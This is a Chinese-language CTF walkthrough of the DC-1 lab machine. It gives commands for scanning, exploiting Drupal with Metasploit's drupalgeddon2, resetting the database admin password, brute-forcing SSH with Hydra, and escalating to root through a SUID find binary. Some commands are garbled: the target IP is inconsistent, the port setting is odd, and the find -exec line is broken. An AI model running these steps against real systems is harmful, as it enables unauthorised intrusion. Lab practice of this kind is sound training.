dc1
dc1靶场(难度简单)
IP地址发现
我们可以使用二层发现的IP地址来找到ip,命令如下
sudo arp-scan -l
从而发现靶机IP地址10.0.2.11
端口扫描
下面我们用nmap扫描端口
nmap -A 10.0.2.11
发现开通了22,80,111端口我们查看端口上都是开通了什么服务
在22端口上开通了ssh服务
80端口上开通了http服务
111端口上开通了rpcbind服务
rpcbind服务介绍
RPCBind(也称Portmapper、portmap或RPCPortmapper) 是一种通用的RPC端口映射功能,默认绑定在端口111上,可以将RPC服务号映射到网络端口号。
说明对我们没啥用
我们开始访问http服务
我们使用了许多弱口令都是不可以我们然后知道了admin用户是存在的
这个时候我们扫描一下看是否用隐藏的登录
dirsearch -u http://10.0.2.11
扫描后没有什么可以用,我们看是否能知道他的管理系统啥的
我们可以在火狐浏览器上安装扩展wappalyzer
wappalyzer的作用:Wappalyzer 是一种流行的 Web 应用程序分析工具,它可以识别网站使用的技术栈和第三方库。它可以帮助用户了解一个网站的技术构成,比如网站使用的 CMS、Web 服务器、JavaScript 库、广告网络等等。Wappalyzer 可以作为浏览器扩展程序安装到 Chrome、Firefox、Edge 等浏览器中,并可以通过一些 API 和命令行工具进行调用。它被广泛应用于 Web 应用程序开发、安全测试和竞品分析等领域。
我们发现了用的系统为drupal我们可以查找一下这个drupal的漏洞
漏洞发现
我们用漏洞库msfconsole来查找
msfconsole的介绍
msfconsole 主要是用于执行渗透测试任务,帮助安全测试人员评估网络的安全性。具体来说,msfconsole 可以用于以下几个方面:
识别漏洞和弱点:使用 msfconsole,用户可以扫描目标网络或主机,识别系统中存在的漏洞和弱点。
开发和测试漏洞利用:msfconsole 提供了多种漏洞利用技术和攻击载荷生成器,可以用于测试漏洞利用的效果,并开发新的漏洞利用脚本。
实施渗透测试:msfconsole 可以实施各种渗透测试,包括密码破解、远程访问、网络协议攻击等。
收集信息:使用 msfconsole,用户可以收集有关目标系统的各种信息,例如主机名、IP 地址、操作系统、开放端口等。
总之,msfconsole 是一个功能强大的工具,可以帮助安全测试人员快速、准确地评估目标网络的安全性,并提供各种有用的信息和工具来测试和攻击目标系统。
msfconsole的用法:
use
命令:用于选择 Metasploit 框架中的模块,例如攻击载荷、漏洞利用、扫描器等。set
命令:用于设置模块中的参数,例如目标 IP、端口、漏洞名称等。show
命令:用于显示当前选中模块的信息,例如漏洞描述、漏洞利用状态、参数设置等。exploit
命令:用于执行当前选中模块的攻击载荷或漏洞利用,尝试获取对目标系统的访问权限。search
命令:用于搜索 Metasploit 框架中的模块和漏洞利用脚本,可以按关键词、漏洞名称、作者等进行搜索。db_*
命令:用于与 Metasploit 框架中的数据库进行交互,例如添加、删除、修改目标、服务、漏洞等信息。sessions
命令:用于管理当前与目标系统建立的会话,例如查看会话列表、切换会话、关闭会话等。
搜所drupal的命令
search drupal
结果如下
我们查看到了许多漏洞我们来看最近的漏洞
然后我们选择漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
我们来显示选中模块的信息
show options
我们发现他的rhosts可以设置参数
我们给他设置IP地址和端口
set RHOSTS 10.0.2.8
set RPORT 4444
连接成功
Getshell
获取普通shell
跟据flag1.txt的提示可以知道
每一个好的cms都需要一个配置文件
我们查看配置文件,在查看配置文件前先在看看有没有别的flag,经过查看没有flag
我们开始访问配置文件在看配置文件前我们可以使用交互shell因为这样看不好看
交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
我们不知道配置文件名字是啥,我们可以搜所一下drupal的配置文件
叫做Settings.php
得到flag2根据flag2的提示
得到了数据库的名字和密码。
数据库渗透
登录数据库
我们得到了用户名和密码
我们看是否可以更改就ok了
我们在/var/www/scripts/password-hash.sh找到了加密文件
我们通过php运行得到加密文件
得到加密后的密码, 接着我们登入mysql修改一下admin的密码
我们登录进去得到flag3
我们通过flag3提示得到
我们通过flag3的提示访问 /etc/passwd
爆破
一个是爆破,另一个就是提权打开shadow文件查看密码
利用工具Hydra爆破flag4的密码
hydra的使用
爆破得到密码orange
用ssh连接得到
linux提权
找到含有SUID权限的二进制文件
find / -user root -perm -4000 -print 2>/dev/null
```![](https://img2023.cnblogs.com/blog/2860184/202304/2860184-20230413201406404-1514760317.png)`
可以得到find有root权限
我们可以使用命令
find / -name 1 -exec "/bin/sh" \
从而提取到root权限得到thefinalflag.txt
![](https://img2023.cnblogs.com/blog/2860184/202304/2860184-20230413201434145-579375707.png)
## 小结:
这个dc1靶场相对来说比较简单我们根据msfconsole来搜索出这个漏洞的框架从而来进行利用我们shell得到了数据库账号密码我们然后可以通过对数据库的密码进行更改得到flag3,然后通过爆破得到flag4的密码然后用我们那个ssh服务进行连接,后面我们用suid进行提权得到root权限
我这个靶场知道了msfconsole和hydra工具
msfconsole是搜所漏洞的
hydra则是用来进行爆破密码地